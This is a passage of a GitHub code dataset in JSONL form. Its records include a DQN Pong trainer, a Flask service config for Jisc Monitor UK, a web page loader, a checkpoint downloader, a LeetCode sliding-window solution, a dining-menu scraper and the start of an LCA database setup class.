np.array(image).astype(\"float32\")\n image = image.ravel()\n return image\n\n\ndef save_model(agent, save_path: str):\n agent.save(save_path)\n\n\ndef main():\n env = gym.make('Pong-v0')\n obs_dim = OBS_DIM_SIZE[0] * OBS_DIM_SIZE[1] # 80 * 80\n act_dim = env.action_space.n\n logger.info('obs_dim {}, act_dim {}'.format(obs_dim, act_dim))\n\n rpm = ReplayMemory(MEMORY_SIZE) # DQN的经验回放池\n\n # 根据parl框架构建agent\n model = Model(obs_dim=obs_dim, act_dim=act_dim)\n algorithm = DQN(\n model=model, \n gamma=GAMMA, \n lr=LEARNING_RATE)\n agent = Agent(\n algorithm=algorithm,\n act_dim=act_dim,\n e_greed=0.1, # 有一定概率随机选取动作,探索,原值 0.1\n e_greed_decrement=0) # 随着训练逐步收敛,探索的程度慢慢降低,原值 0\n\n # 加载模型并评估\n # if os.path.exists(SAVE_PATH):\n # agent.restore(SAVE_PATH)\n # run_evaluate_episodes(agent, env, render=True)\n # exit()\n\n # 先往经验池里存一些数据,避免最开始训练的时候样本丰富度不够\n print(\"start memory warmup size: {}\".format(MEMORY_WARMUP_SIZE))\n for i in range(MEMORY_WARMUP_SIZE):\n total_reward = run_train_episode(agent, env, rpm)\n if (i + 1) % 50 == 0:\n logger.info(\"episode: {} e_greed: {} train reward: {}\".format(\n i + 1, agent.e_greed, total_reward))\n print(\"end memory warmup size: {}\".format(MEMORY_WARMUP_SIZE))\n\n # start train\n print(\"start train episode: {}\".format(TRAIN_EPISODE))\n for i in range(TRAIN_EPISODE):\n # train part\n total_reward = run_train_episode(agent, env, rpm)\n\n if (i + 1) % 100 == 0:\n logger.info(\"episode: {} save model: {}\".format(i + 1, SAVE_PATH))\n save_model(agent, SAVE_PATH)\n\n # test part render=True 查看显示效果\n if (i + 1) % 100 == 0:\n eval_reward = run_evaluate_episodes(agent, env, render=False)\n logger.info(\"episode: {} e_greed: {} test reward: {}\".format(\n i + 1, agent.e_greed, eval_reward))\n\n # 训练结束,保存模型\n save_model(agent, SAVE_PATH)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cnhemiya/paddle-workbook","sub_path":"09Parl_Pong/dqn_pong/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"25334750176","text":"\"\"\"\nMain service configuration, overrides default Octopus configurations and adds application specific ones\n\"\"\"\n\n##################################################\n# overrides for the webapp deployment\n\nDEBUG = False\n\"\"\" Run the web server in debug mode\"\"\"\n\nPORT = 5000\n\"\"\" Port to run the web server on\"\"\"\n\nSSL = True\n\"\"\" Is SSL enabled\"\"\"\n\nTHREADED = True\n\"\"\" Should the server run in multi-threaded mode (almost always should be True)\"\"\"\n\nVERSION = \"1.0.2\"\n\"\"\" Version number of the application, which is used in part to version the URLs to UI assets, for cache-busting purposes \"\"\"\n\n############################################\n# important overrides for the ES module\n\n# elasticsearch back-end connection settings\nELASTIC_SEARCH_HOST = \"http://localhost:9200\"\n\"\"\" Elasticsearch Host URL\"\"\"\n\nELASTIC_SEARCH_INDEX = \"muk\"\n\"\"\" Application index name \"\"\"\n\nELASTIC_SEARCH_VERSION = \"1.7.5\"\n\"\"\" Elasticsearch version. Do not use 0.x. Code probably works with 2.x but has not been tested \"\"\"\n\n# Classes from which to retrieve ES mappings to be used in this application\n# (note that if ELASTIC_SEARCH_DEFAULT_MAPPINGS is sufficient, you don't need to\n# add anything here\nELASTIC_SEARCH_MAPPINGS = [\n \"octopus.modules.account.dao.BasicAccountDAO\",\n]\n\"\"\" List of DAOs whose mappings are required to be created at first startup \"\"\"\n\n############################################\n## mail server configuration\n\nMAIL_FROM_ADDRESS = \"no-reply@jisc.ac.uk\"\n\"\"\" address from which email from this service will appear to originate \"\"\"\n\nMAIL_SUBJECT_PREFIX = \"[Monitor UK] \"\n\"\"\" Text string to prefix to every email which comes from this application \"\"\"\n\n# Settings for Flask-Mail. Set in local.cfg\nMAIL_SERVER = None # default localhost\n\"\"\" Mail server for outgoing mail - set in local.cfg \"\"\"\n\nMAIL_PORT = 25 # default 25\n\"\"\" Mail port for outgoing mail - set in local.cfg \"\"\"\n\nMAIL_USERNAME = None # default None\n\"\"\" Mail server username, if required - set in local.cfg \"\"\"\n\nMAIL_PASSWORD = None # default None\n\"\"\" Mail server password, if required - set in local.cfg \"\"\"\n\n#######################################################\n# Command line scripts\n\n# if you want to disable the user modification script once admin has been added, comment out the line beginning \"usermod\"\nCLI_SCRIPTS = {\n \"usermod\" : \"octopus.modules.account.scripts.UserMod\",\n \"start_scheduler\" : \"octopus.modules.scheduler.cli.StartScheduler\"\n}\n\n############################################\n# important overrides for account module\n\nACCOUNT_ENABLE = True\n\"\"\" Is the account module enabled - required for this application \"\"\"\n\nSECRET_KEY = \"super-secret-key\"\n\"\"\" Secret key to use in user authentication - set this in local.cfg \"\"\"\n\nACCOUNT_LIST_USERS = True\n\"\"\" Account module allows user listing \"\"\"\n\n# list of fields to be inserted into the _source part of a query on the account index.\n# This prevents us from sending information like api keys or hashed passwords to the front-end\nACCOUNT_LIST_USERS_INCLUDE_SOURCE = [\"id\", \"email\", \"created_date\", \"last_updated\", \"role\", \"organisation\", \"org_role\", \"name\"]\n\"\"\" When users are listed, this list limits the fields that are returned, as a security measure \"\"\"\n\nACCOUNT_MODEL = \"service.models.MonitorUKAccount\"\n\"\"\" Model object to use to represent user accounts \"\"\"\n\nACCOUNT_USER_FORM_CONTEXT = \"service.forms.account.MonitorUKUserFormContext\"\n\"\"\" Form context class to provide user account form \"\"\"\n\nACCOUNT_USER_FORM_ADMIN_CONTEXT = \"service.forms.account.MonitorUKUserAdminFormContext\"\n\"\"\" Form context class to provide user admin form \"\"\"\n\nACCOUNT_ACTIVATE_FORM_CONTEXT = \"service.forms.account.MonitorUKActivateFormContext\"\n\"\"\" Form context class to provide account activation form \"\"\"\n\nACCOUNT_DEFAULT_ROLES = [\"write_apc\", \"read_apc\"]\n\"\"\" Default roles added to all users that are created via the account system \"\"\"\n\nCLIENTJS_ACCOUNT_LIST_ENDPOINT = \"/account_query/account\"\n\"\"\" URL path to the account list query endpoint (needs to tie up with an equivalent query endpoint configuration in QUERY_ROUTE below) \"\"\"\n\n# You will also need to specify the query route as follows\nQUERY_ROUTE = {\n \"account_query\" : {\n \"account\" : {\n \"auth\" : True,\n \"role\" : \"list-users\",\n \"filters\" : [\n \"octopus.modules.account.dao.query_filter\"\n ],\n \"dao\" : \"service.models.MonitorUKAccount\"\n }\n },\n \"query\" : {\n \"apc\" : {\n \"auth\" : True,\n \"role\" : None,\n \"filters\" : [\n # \"service.search.report_query_filter\"\n ],\n \"dao\" : \"service.search.StaticPublicDAOProxy\"\n }\n }\n}\n\"\"\" Definitions of query endpoints. Here we define two: one for listing user accounts, only accessible to administrators, and one for general search queries \"\"\"\n\n###############################################\n# CRUD API configuration\n\nCRUD = {\n \"apc\" : {\n \"model\" : \"service.models.crud.ApiRequest\",\n \"create\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"response\" : {\n \"location\" : False\n }\n },\n \"retrieve\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"]\n },\n \"update\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"response\" : {\n \"location\" : False\n }\n },\n \"append\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"response\" : {\n \"location\" : False\n }\n },\n \"delete\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n }\n }\n}\n\"\"\" Definitions of the CRUD endpoint. This configures service.models.crud.ApiRequest to handle CRUD requests for APCs \"\"\"\n\n##############################################################\n# Public Search API Configuration\n\n# The search configuration for each mount point\nSEARCHAPI = {\n \"public\" : {\n \"auth\" : True,\n \"roles\" : [\"read_apc\"],\n \"default_page_size\" : 10,\n \"max_page_size\" : 100,\n \"search_no_mod\" : [\n \"created_date\",\n \"last_updated\"\n ],\n \"search_prefix\" : \"record.\",\n \"search_subs\" : {\n \"id\" : \"id.exact\",\n \"doi\" : \"index.doi.exact\",\n \"pmcid\" : \"index.pmcid.exact\",\n \"pmid\" : \"index.pmid.exact\",\n \"url\" : \"index.url.exact\",\n \"issn\" : \"index.issn.exact\"\n },\n \"sort_prefix\" : \"record.\",\n \"sort_subs\" : {\n \"dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"record.dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"apc_total_amount_gbp\" : \"index.apc_total_amount_gbp\",\n \"apc_total_vat_gbp\" : \"index.apc_total_vat_gbp\",\n \"apc_total_gbp\" : \"index.apc_total_gbp\",\n \"sum_total_gbp\" : \"index.sum_total_gbp\"\n },\n \"query_builder\" : \"service.queries.PublicSearchQuery\",\n \"dao\" : \"service.search.StaticPublicDAOProxy\",\n \"results_filter\" : \"service.search.public_filter\"\n },\n\n \"private\" : {\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"default_page_size\" : 10,\n \"max_page_size\" : 100,\n \"search_no_mod\" : [\n \"created_date\",\n \"last_updated\"\n ],\n \"search_prefix\" : \"record.\",\n \"search_subs\" : {\n \"id\" : \"id.exact\",\n \"doi\" : \"index.doi.exact\",\n \"pmcid\" : \"index.pmcid.exact\",\n \"pmid\" : \"index.pmid.exact\",\n \"url\" : \"index.url.exact\",\n \"issn\" : \"index.issn.exact\"\n },\n \"sort_prefix\" : \"record.\",\n \"sort_subs\" : {\n \"dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"record.dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"apc_total_amount_gbp\" : \"index.apc_total_amount_gbp\",\n \"apc_total_vat_gbp\" : \"index.apc_total_vat_gbp\",\n \"apc_total_gbp\" : \"index.apc_total_gbp\",\n \"sum_total_gbp\" : \"index.sum_total_gbp\"\n },\n \"query_builder\" : \"service.queries.PrivateSearchQuery\",\n \"dao\" : \"service.search.StaticPublicDAOProxy\",\n \"results_filter\" : \"service.search.private_filter\"\n }\n}\n\"\"\" Search API configuration, enabling a public search of all public records, and a private search of all records owned by an authenticated user \"\"\"\n\n#######################################################\n## Task scheduler configuration\n\nSCHEDULER_TASKS = [\n # every 10 seconds trigger the request processing task - this converts requests for updates into public apc records\n (10, \"seconds\", None, \"service.tasks.process_updates\"),\n\n # every hour trigger the lantern lookup - this sends any new records out to Lantern for enhancement\n (1, \"hours\", None, \"service.tasks.lantern_jobs\"),\n\n # every hour trigger the lantern job checker - this will pull in any updates from Lantern\n (1, \"hours\", None, \"service.tasks.lantern_check\")\n]\n\"\"\" Asynchronous job scheduling. Schedules updates via the API every 10 seconds, and synchronisation with Lantern on a longer cycle \"\"\"\n\n\n##############################################\n## App specific config\n\n# if the workflow state does not have a \"last request\" date recorded, what is the date it should report\n# (basically, this just needs to be earlier than the service went live. We use the start of the unix epoch by default)\nWORKFLOW_STATE_EARLIEST_DATE = \"1970-01-01T00:00:00Z\"\n\"\"\" When a workflow state is first created, what is the default earliest date \"\"\"\n\nAPI_JSON_LD_CONTEXT = {\n \"jm\": \"http://jiscmonitor.jiscinvolve.org/\",\n \"dc\": \"http://purl.org/dc/elements/1.1/\",\n \"dcterms\": \"http://purl.org/dc/terms/\",\n \"rioxxterms\": \"http://rioxx.net/v2-0-beta-1/\",\n \"ali\" : \"http://www.niso.org/schemas/ali/1.0/jsonld.json\"\n}\n\"\"\" Defines the JSON-LD @context properties for use in the API \"\"\"\n\n# Email address to be presented on the login page for the user to contact if they wish to request an account\nMONITOR_ACCOUNT_REQUEST_EMAIL = \"monitor+account@jisc.ac.uk\"\n\"\"\" Email address users should contact if they would like an account with Monitor UK \"\"\"\n\nPRIMARY_NAVIGATION = [\n {\n \"label\": \"About\",\n \"url\": {\n \"url\": \"https://monitor.jisc.ac.uk/uk/about\",\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": True\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n },\n {\n \"label\" : \"Search\",\n \"url\" : {\n \"url_for\" : \"search\",\n },\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False\n },\n {\n \"label\" : \"Reports\",\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False,\n \"subnav\" : [\n {\n \"label\" : \"Publisher\",\n \"url\" : {\n \"url_for\" : \"publisher\"\n },\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False\n },\n {\n \"label\": \"Funder\",\n \"url\": {\n \"url_for\": \"funder\"\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": False\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n },\n {\n \"label\": \"Institution\",\n \"url\": {\n \"url_for\": \"institution\"\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": False\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n }\n ]\n },\n {\n \"label\": \"Help and resources\",\n \"url\": {\n \"url\": \"https://monitor.jisc.ac.uk/uk/help\",\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": True\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n }\n]\n\"\"\" Definition for primary navigation, rendered on the left-hand side of the navigation bar \"\"\"\n\nSECONDARY_NAVIGATION = [\n {\n \"label\" : \"Your Account\",\n \"url\" : {\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False,\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n }\n },\n {\n \"label\" : \"Admin\",\n \"url\" : {\n \"url_for\" : \"admin.index\"\n },\n \"match\" : [\n {\"url_for\" : \"account.register\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.username\", \"kwargs\" : {\"username\" : \"\"}, \"type\" : \"startswith\"},\n {\n \"action\" : \"deactivate\",\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n },\n {\"url_for\" : \"account.index\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.login\", \"type\" : \"exact\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.forgot\", \"type\" : \"exact\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.reset\", \"kwargs\" : {\"reset_token\" : \"\"}, \"type\" : \"startswith\", \"action\" : \"deactivate\"}\n ],\n \"main_nav\" : True,\n \"breadcrumb\" : True,\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False,\n \"role\" : [\"admin\"]\n },\n \"always_show_subnav\" : True,\n \"subnav\" : [\n {\n \"label\" : \"Manage Users\",\n \"url\" : {\n \"url_for\" : \"account.index\"\n },\n \"match\" : [\n {\"url_for\" : \"account.register\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.username\", \"kwargs\" : {\"username\" : \"\"}, \"type\" : \"startswith\"},\n {\n \"action\" : \"deactivate\",\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n }\n ],\n \"main_nav\" : True,\n \"breadcrumb\" : True,\n \"subnav\" : [\n {\n \"label\" : \"Create User\",\n \"url\" : {\n \"url_for\" : \"account.register\"\n },\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n },\n {\n \"label\" : \"Edit User\",\n \"match\" : [\n {\"url_for\" : \"account.username\", \"kwargs\" : {\"username\" : \"\"}, \"type\" : \"startswith\"},\n {\n \"action\" : \"deactivate\",\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n },\n {\"url_for\" : \"account.index\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.register\", \"action\" : \"deactivate\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n }\n ]\n },\n {\n \"label\" : \"Create User\",\n \"url\" : {\n \"url_for\" : \"account.register\",\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False\n }\n ]\n },\n {\n \"label\" : \"Log In\",\n \"url\" : {\n \"url_for\" : \"account.login\",\n },\n \"match\" : [\n {\"url_for\" : \"account.forgot\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.reset\", \"kwargs\" : {\"reset_token\" : \"\"}, \"type\" : \"startswith\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"visibility\" : {\n \"auth\" : False,\n \"anonymous\" : True\n },\n \"subnav\" : [\n {\n \"label\" : \"Forgotten Password\",\n \"url\" : {\n \"url_for\" : \"account.forgot\"\n },\n \"main_nav\" : False,\n \"match\" : [\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\"}\n ],\n \"breadcrumb\" : True,\n \"subnav\" : [\n {\n \"label\" : \"Password Reset\",\n \"url_for\" : \"account.forgot_pending\",\n \"match\" : [\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n }\n ]\n },\n {\n \"label\" : \"Reset your password\",\n \"match\" : [\n {\"url_for\" : \"account.reset\", \"kwargs\" : {\"reset_token\" : \"\"}, \"type\" : \"startswith\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n }\n ]\n }\n]\n\"\"\" Definition for secondary navigation, rendered on the right-hand side of the navigation bar \"\"\"\n\nSITE_NAVIGATION = PRIMARY_NAVIGATION + SECONDARY_NAVIGATION\n\"\"\" Overall site navigation \"\"\"\n\n# Javascript endpoint configurations\nCLIENTJS_PUBLIC_QUERY_ENDPOINT = \"/query/apc\"\n\"\"\" Public query endpoint, for use by reports and search interface. Should be defined above in QUERY_ROUTES \"\"\"\n\n#################################################\n## Settings for Lantern integration\n\nENABLE_LANTERN = True\n\"\"\" Is Lantern integration enabled \"\"\"\n\n# The list of paths to fields which trigger a lookup for a record in Lantern\n# (uses objectpath notation)\nMISSING_FIELD_TRIGGERS_LANTERN = [\n \"$.record.'rioxxterms:publication_date'\",\n \"$.record.'rioxxterms:version'\",\n \"$.record.'dc:source'.name\",\n \"$.record.'dc:source'.identifier[@.type is 'issn'].id\",\n \"$.record.'dc:source'.oa_type\",\n \"$.record.'dc:source'.self_archiving.preprint.policy\",\n \"$.record.'dc:source'.self_archiving.preprint.embargo\",\n \"$.record.'dc:source'.self_archiving.postprint.policy\",\n \"$.record.'dc:source'.self_archiving.postprint.embargo\",\n \"$.record.'dc:source'.self_archiving.publisher.policy\",\n \"$.record.'dc:source'.self_archiving.publisher.embargo\",\n \"$.record.'rioxxterms:project'.funder_name\",\n \"$.record.'ali:license_ref'.type\",\n \"$.record.'jm:repository'.repo_name\"\n]\n\"\"\" List of fields in a PublicAPC, using objectpath notiation, which, if missing, trigger a request to Lantern for a record \"\"\"\n\n# batch sizes to send to Lantern. Lantern permits up to 3000 per request, but we keep it low here for\n# performance on our side\nBATCH_SIZE_LANTERN = 1000\n\"\"\" Batch size for Lantern requests. Maximum allowed his higher, this just gives us room to manoevre \"\"\"\n\n# length of time (in seconds) to wait before re-submitting a previously checked item\n# default here is 6 months\nDATA_REFRESH_LANTERN = 15552000\n\"\"\" Time period (in seconds) to wait before re-looking up a record in Lantern (the default is 6 months) \"\"\"\n\n# The minimum amount of time to wait between polling Lantern for updates on a previously submitted job\nJOB_LOOKUP_DELAY_LANTERN = 3600\n\"\"\" Time period (in seconds) to wait before re-checking a submitted Lantern job \"\"\"\n\n# For the purposes of the functional/integration tests with Lantern, you can provide a test account email address and\n# api key, via your local.cfg file\nTEST_ACCOUNT_EMAIL_LANTERN = False\n\"\"\" Your Lantern test account email address - set in local.cfg \"\"\"\n\nTEST_API_KEY_LANTERN = False\n\"\"\" Your Lantern test account api key - set in local.cfg \"\"\"\n","repo_name":"JiscMonitor/monitor-uk","sub_path":"config/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":21297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"3740342087","text":"import logging\nfrom enum import Enum\nfrom typing import Callable, Optional\n\nimport requests\n\nfrom cart_player.backend import config\n\nlogger = logging.getLogger(f\"{config.LOGGER_NAME}::Loader\")\n\n\nclass ResponseType(str, Enum):\n TEXT = \"text\"\n CONTENT = \"content\"\n\n\nclass WebsiteLoader:\n \"\"\"Helper class for loading the content of a website from a given URL.\"\"\"\n\n def load(\n self,\n url: str,\n process_url: Callable[[str], str] = lambda _url: _url,\n spoof_user_agent: bool = True,\n reponse_type: ResponseType = ResponseType.TEXT,\n ) -> Optional[str]:\n \"\"\"Load content from an url.\n\n Args:\n url: Url from which to load content.\n spoof_user_agent: True if user-agent must be overriden by a Safari browser user-agent.\n\n Returns:\n Content if content could be loaded, None otherwise.\n \"\"\"\n # Process url\n url = process_url(url)\n if url is None:\n return None\n\n logger.debug(f\"processed url: {url}\")\n\n # Define a user-agent as Safari web browser\n headers = {}\n if spoof_user_agent:\n headers = {\n \"User-Agent\": (\n \"Mozilla/5.0 (Windows; U; Windows CE) \"\n \"AppleWebKit/535.19.4 (KHTML, like Gecko) \"\n \"Version/4.0.2 Safari/535.19.4\"\n )\n }\n\n # Perform the request\n try:\n response = requests.get(process_url(url), headers=headers)\n except Exception as e:\n logger.error(f\"An error occurred during request [GET {url}]: {e}\", exc_info=True)\n return None\n else:\n if response.status_code == 200:\n return response.text if reponse_type == ResponseType.TEXT else response.content\n return None\n","repo_name":"djidane535/cart_player","sub_path":"cart_player/backend/adapters/game_library/utils/website_loader.py","file_name":"website_loader.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74826177513","text":"#!/usr/bin/env python3\nimport logging\n\nimport requests\nfrom script_helpers import (\n ToolDirectoryService,\n ToolInfoService,\n configure_logging,\n)\n\nconfigure_logging()\n\ntool_directory_service = ToolDirectoryService()\ntool_info_service = ToolInfoService()\n\ntool_directory_service.prepare_directories()\n\ntool = tool_info_service.select_tool_prompt()\n\ncheckpoints = tool.get(\"checkpoints\", [])\nif len(checkpoints) == 0:\n logging.info(f\"No checkpoints for {tool['name']}\")\n exit(0)\n\ndownload_all = input(\"Download all checkpoints? (y/n): \") == \"y\"\nfor checkpoint in checkpoints:\n if not download_all:\n download_checkpoint = input(\n f\"Download checkpoint {checkpoint['name']} for {tool['name']}? [y/N] \"\n )\n if download_all or download_checkpoint.lower() == \"y\":\n logging.info(\n f\"Downloading checkpoint {checkpoint['name']} for {tool['name']}\"\n )\n res = requests.get(\n checkpoint.get(\n \"url\",\n f\"https://s3.us-east-1.wasabisys.com/super-ml/cp/{checkpoint['name']}\",\n ),\n stream=True,\n )\n with open(\n f\"{tool_directory_service.checkpoint_volume_dir}/{checkpoint['name']}\",\n \"wb\",\n ) as f:\n for chunk in res.iter_content(chunk_size=1024):\n if chunk:\n f.write(chunk)\n","repo_name":"beverts312/machine-learning","sub_path":"bails_ml_wrappers/prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"13284292617","text":"\"\"\"\nYou are given a 0-indexed integer array nums. A subarray of nums is called continuous if:\n\nLet i, i + 1, ..., j be the indices in the subarray. Then, for each pair of indices i <= i1, i2 <= j, 0 <= |nums[i1] - nums[i2]| <= 2.\nReturn the total number of continuous subarrays.\n\nA subarray is a contiguous non-empty sequence of elements within an array.\n\nExample 1:\nInput: nums = [5,4,2,4]\nOutput: 8\nExplanation:\nContinuous subarray of size 1: [5], [4], [2], [4].\nContinuous subarray of size 2: [5,4], [4,2], [2,4].\nContinuous subarray of size 3: [4,2,4].\nThereare no subarrys of size 4.\nTotal continuous subarrays = 4 + 3 + 1 = 8.\nIt can be shown that there are no more continuous subarrays.\n\nExample 2:\nInput: nums = [1,2,3]\nOutput: 6\nExplanation:\nContinuous subarray of size 1: [1], [2], [3].\nContinuous subarray of size 2: [1,2], [2,3].\nContinuous subarray of size 3: [1,2,3].\nTotal continuous subarrays = 3 + 2 + 1 = 6.\n\nConstraints:\n1 <= nums.length <= 10^5\n1 <= nums[i] <= 10^9\n\nhints:\nTry using the sliding window technique.\nUse a set or map to keep track of the maximum and minimum of subarrays.\n\nanalysis:\nmonotonic deque for min, max of subarray, store index instead\nTC: O(N)\n\"\"\"\nfrom collections import deque\nfrom typing import List\n\n\nclass ContinuousSubarrays:\n def continuousSubarrays(self, nums: List[int]) -> int:\n res = l = 0\n n = len(nums)\n max_deque, min_deque = deque(), deque()\n for r in range(n):\n cur = nums[r]\n while max_deque and nums[max_deque[-1]] < cur:\n max_deque.pop()\n max_deque.append(r)\n while min_deque and cur < nums[min_deque[-1]]:\n min_deque.pop()\n min_deque.append(r)\n while min_deque and max_deque and nums[max_deque[0]] - nums[min_deque[0]] > 2:\n if max_deque[0] < min_deque[0]:\n l = max_deque[0] + 1\n max_deque.popleft()\n else:\n l = min_deque[0] + 1\n min_deque.popleft()\n res += r - l + 1\n return res\n\n","repo_name":"DeanHe/Practice","sub_path":"LeetCodePython/ContinuousSubarrays.py","file_name":"ContinuousSubarrays.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"27775268632","text":"from bs4 import BeautifulSoup\nimport requests \nimport array as arr\n\n# Source: https://towardsdatascience.com/how-to-web-scrape-with-python-in-4-minutes-bc49186a8460\n\nsource = requests.get('http://menus.tufts.edu/foodpro/shortmenu.asp?sName=TUFTS+DINING&locationNum=09&locationName=Carmichael+Dining+Center&naFlag=1').text\n\nsoup = BeautifulSoup(source, 'lxml').text\nfileName = 'menu.txt'\n\n#write scraped data into text file\n# with open (fileName,'w+') as f: \n\t# f.write(soup)\n\t# for line in f:\n\t\t# https://qiita.com/visualskyrim/items/1922429a07ca5f974467\nlines = [line.rstrip('\\n') for line in open(fileName)]\nfor i in lines:\n\tif(\"Pizza\" in i):\n\t\t# print(lines.index('Strawberry'))\n\t\tprint(i)\n\n# print(lines)\n\n# print(lines[388])\n\n","repo_name":"mariak1998/PancakeTime","sub_path":"scrape_menu.py","file_name":"scrape_menu.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31912171213","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jan 20 15:36:43 2019\r\n\r\n@author: cyshi\r\n\"\"\"\r\n\r\nimport stats_arrays\r\nimport collections\r\nfrom eight import *\r\nimport pandas as pd\r\nimport os\r\n# import win32com.client as win32\r\nfrom . import peewee, Database, databases\r\nimport xlsxwriter\r\nfrom .importer import Importer\r\ntry:\r\n import cPickle as pickle\r\nexcept:\r\n import pickle \r\n \r\n#%%\r\nclass SetUpDatabase():\r\n \"\"\"A means of setting up lci databases with brightway backend. Inventory data can \r\n be exported to excel. This class enables importing, managing,\r\n and manipulating the databases and activities and exchanges in the database.\r\n \r\n Attributes\r\n ----------\r\n \r\n database_name : str \r\n\r\n Name of the lci databases or datasets \r\n\r\n db : obj\r\n\r\n An instance of the database to be set up. \r\n \"\"\"\r\n \r\n download_path=None\r\n store_download=True\r\n c_path=os.path.abspath(os.path.dirname(__file__))\r\n \r\n \r\n def __init__(self, database_name):\r\n \"\"\"database_names are string\"\"\"\r\n assert type (database_name) == str, \"Invalid database name\"\r\n self.database_name = database_name \r\n stored = [x.lower() for x in databases.list] #turn databases dictionary to list\r\n #the stored database name might be different from input database name, it could contain version, system, etc. Forexample, the stored name might be \"Ecoinvent cutoff35\".\r\n if any(self.database_name in s for s in stored):\r\n# name= \"{}\".format(s for s in stored if self.database_name in s)\r\n if len(Database(self.database_name))==0: \r\n #if database exists as object to Database dictionary, but it's empty. Then delete the database.\r\n print (\"{} database is empty, please reinstall\".format([s for s in stored if self.database_name in s]))\r\n# del databases[self.database_name] \r\n elif 'forwast' in self.database_name.lower():\r\n #download forwast database in the current file path\r\n Importer(self.c_path).forwast_db() \r\n elif 'ecoinvent' in self.database_name.lower():\r\n #eoinvent 3.6 has unlinked exchanges! Use 3.5 for now. \r\n #do not chosse version 'c cut-off', it's an error from ecoinvent site. Use 'd cutoff' instead\r\n Importer(self.c_path).ecoinvent_db()\r\n elif 'us_lci' in self.database_name.lower():\r\n Importer(self.c_path).uslci_db()\r\n elif 'user_customized_database'in self.database_name.lower():\r\n Importer(self.c_path).user_customized_db()\r\n# elif self.db_name.lower() == ('all'):\r\n# SetUp.all_db() \r\n else:\r\n UserWarning (\"Please choose a valid databasename\")\r\n self.db = Database(self.database_name)\r\n \r\n def __repr__(self):\r\n return ('Inventory database in Biosteam_LCA: {}'.format(self.database_name))\r\n \r\n def __str__(self):\r\n return self.__class__.__name__ \r\n \r\n def check_dir(dirpath):\r\n \"\"\"A method to check that path is a directory, and that the system has \r\n write permissions.\r\n \r\n Parameters\r\n ----------\r\n\r\n dirpath : str\r\n\r\n The filepath to the directory in question. \r\n\r\n Returns\r\n -------\r\n\r\n True : 